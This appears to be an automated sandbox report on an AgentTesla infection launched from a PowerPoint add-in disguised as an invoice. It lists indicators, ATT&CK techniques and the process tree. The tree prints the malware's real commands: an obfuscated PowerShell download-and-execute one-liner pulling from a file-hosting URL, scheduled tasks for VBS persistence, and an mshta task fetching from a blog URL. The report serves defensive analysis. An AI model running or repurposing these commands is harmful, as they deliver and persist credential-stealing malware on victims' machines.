agenttesla | be62c35089f72b5317ea0c1bcb6d3a931205a98af434efd5b32410b6d9aa8fea

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 3 IoCs

description	ioc	Process
File created	C:\Users\Admin\appData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.js	POWERPNT.EXE
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helloitsindian.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\helloitsindian.vbs	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2900 set thread context of 4272	2900	powershell.exe	111
PID 2900 set thread context of 4712	2900	powershell.exe	113

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	dw20.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dw20.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

pid	Process
2124	schtasks.exe
1916	schtasks.exe
3764	schtasks.exe

Enumerates system info in registry 2 TTPs 7 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	dw20.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\Local Settings	WScript.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3488	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1216	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe
2900	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeRestorePrivilege	4044	dw20.exe
Token: SeBackupPrivilege	4044	dw20.exe
Token: SeBackupPrivilege	4044	dw20.exe
Token: SeBackupPrivilege	4044	dw20.exe
Token: SeBackupPrivilege	4044	dw20.exe
Token: SeBackupPrivilege	3932	dw20.exe
Token: SeBackupPrivilege	3932	dw20.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1216	POWERPNT.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1216	POWERPNT.EXE
1216	POWERPNT.EXE
1216	POWERPNT.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1216 wrote to memory of 240	1216	POWERPNT.EXE	85
PID 1216 wrote to memory of 240	1216	POWERPNT.EXE	85
PID 240 wrote to memory of 2044	240	wscript.exe	86
PID 240 wrote to memory of 2044	240	wscript.exe	86
PID 240 wrote to memory of 3764	240	wscript.exe	88
PID 240 wrote to memory of 3764	240	wscript.exe	88
PID 2044 wrote to memory of 4728	2044	powershell.exe	94
PID 2044 wrote to memory of 4728	2044	powershell.exe	94
PID 2044 wrote to memory of 3488	2044	powershell.exe	95
PID 2044 wrote to memory of 3488	2044	powershell.exe	95
PID 4728 wrote to memory of 3116	4728	WScript.exe	96
PID 4728 wrote to memory of 3116	4728	WScript.exe	96
PID 4728 wrote to memory of 3708	4728	WScript.exe	97
PID 4728 wrote to memory of 3708	4728	WScript.exe	97
PID 3708 wrote to memory of 2900	3708	cmd.exe	99
PID 3708 wrote to memory of 2900	3708	cmd.exe	99
PID 3116 wrote to memory of 2124	3116	WScript.exe	100
PID 3116 wrote to memory of 2124	3116	WScript.exe	100
PID 3116 wrote to memory of 1916	3116	WScript.exe	102
PID 3116 wrote to memory of 1916	3116	WScript.exe	102
PID 2900 wrote to memory of 4600	2900	powershell.exe	106
PID 2900 wrote to memory of 4600	2900	powershell.exe	106
PID 2900 wrote to memory of 4600	2900	powershell.exe	106
PID 2900 wrote to memory of 4164	2900	powershell.exe	107
PID 2900 wrote to memory of 4164	2900	powershell.exe	107
PID 2900 wrote to memory of 4164	2900	powershell.exe	107
PID 2900 wrote to memory of 3924	2900	powershell.exe	108
PID 2900 wrote to memory of 3924	2900	powershell.exe	108
PID 2900 wrote to memory of 3924	2900	powershell.exe	108
PID 2900 wrote to memory of 2244	2900	powershell.exe	109
PID 2900 wrote to memory of 2244	2900	powershell.exe	109
PID 2900 wrote to memory of 2244	2900	powershell.exe	109
PID 2900 wrote to memory of 3868	2900	powershell.exe	110
PID 2900 wrote to memory of 3868	2900	powershell.exe	110
PID 2900 wrote to memory of 3868	2900	powershell.exe	110
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 4272	2900	powershell.exe	111
PID 2900 wrote to memory of 5100	2900	powershell.exe	112
PID 2900 wrote to memory of 5100	2900	powershell.exe	112
PID 2900 wrote to memory of 5100	2900	powershell.exe	112
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 2900 wrote to memory of 4712	2900	powershell.exe	113
PID 4712 wrote to memory of 4044	4712	Msbuild.exe	115
PID 4712 wrote to memory of 4044	4712	Msbuild.exe	115
PID 4712 wrote to memory of 4044	4712	Msbuild.exe	115
PID 4272 wrote to memory of 3932	4272	caspol.exe	114
PID 4272 wrote to memory of 3932	4272	caspol.exe	114
PID 4272 wrote to memory of 3932	4272	caspol.exe	114
PID 2900 wrote to memory of 3124	2900	powershell.exe	117
PID 2900 wrote to memory of 3124	2900	powershell.exe	117
PID 3124 wrote to memory of 896	3124	csc.exe	118
PID 3124 wrote to memory of 896	3124	csc.exe	118

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\invoice_7_812937_pdf (1).ppam" /ou ""
1⤵
- Drops startup file
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1216
- C:\Windows\SYSTEM32\wscript.exe
  wscript.exe //b //e:jscript C:\\Users\\Public\\sys.ini
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -EP B -C (I'w'r('https://www.mediafire.com/file/rvzps961dmmyt8k/7.txt/file') -useB) | .('{#}{_}'.replace('_','0').replace('#','1')-f'^#','>').replace('>','I').replace('^','E').replace('#','X') | ping 127.0.0.1
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2044
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\ProgramData\holatyrimakachola\helloitsindian.vbs"
      4⤵
      Checks computer location settings
      Drops startup file
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4728
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\ProgramData\holatyrimakachola\JIGIJIGI.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:3116
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 120 /tn Appligation /F /tr "C:\ProgramData\holatyrimakachola\helloitsindian.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:2124
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 45 /tn ChromiumPluginupdate /F /tr "C:\ProgramData\holatyrimakachola\ChromeExtentionUpdate.vbs"
        6⤵
        Creates scheduled task(s)
        
        PID:1916
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\holatyrimakachola\JIGIJIGI.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3708
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -NoProfile -ExecutionPolicy Bypass -Command C:\ProgramData\holatyrimakachola\GOLGAPORA.PS1
        6⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2900
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        
        PID:4600
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        
        PID:4164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        
        PID:3924
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        
        PID:2244
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
        7⤵
        
        PID:3868
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4272
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 776
        8⤵
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:3932
        
        C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        7⤵
        
        PID:5100
        
        C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v3.5\Msbuild.exe"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4712
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 776
        8⤵
        Drops file in Windows directory
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:4044
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2modmrci\2modmrci.cmdline"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:3124
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2CA.tmp" "c:\Users\Admin\AppData\Local\Temp\2modmrci\CSCAACC12623F244B5B9C7E15EC3485FD4.TMP"
        8⤵
        
        PID:896
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wljxka3h\wljxka3h.cmdline"
        7⤵
        
        PID:4344
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1FB8.tmp" "c:\Users\Admin\AppData\Local\Temp\wljxka3h\CSC4654EF89532F42B2AA10544E423319C8.TMP"
        8⤵
        
        PID:2576
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      Runs ping.exe
      PID:3488
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 100 /tn MicrosoftUpdater /F /tr """Mshta""""""http://www.7fdkfjdaa.blogspot.com/atom.xml"""
    3⤵
    - Creates scheduled task(s)
    PID:3764

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery